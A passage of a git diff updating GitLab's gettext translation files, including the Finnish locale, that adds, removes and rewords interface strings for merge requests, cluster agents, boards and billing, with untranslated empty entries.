+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index 9fa4d8d90b3..2f64870ee83 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
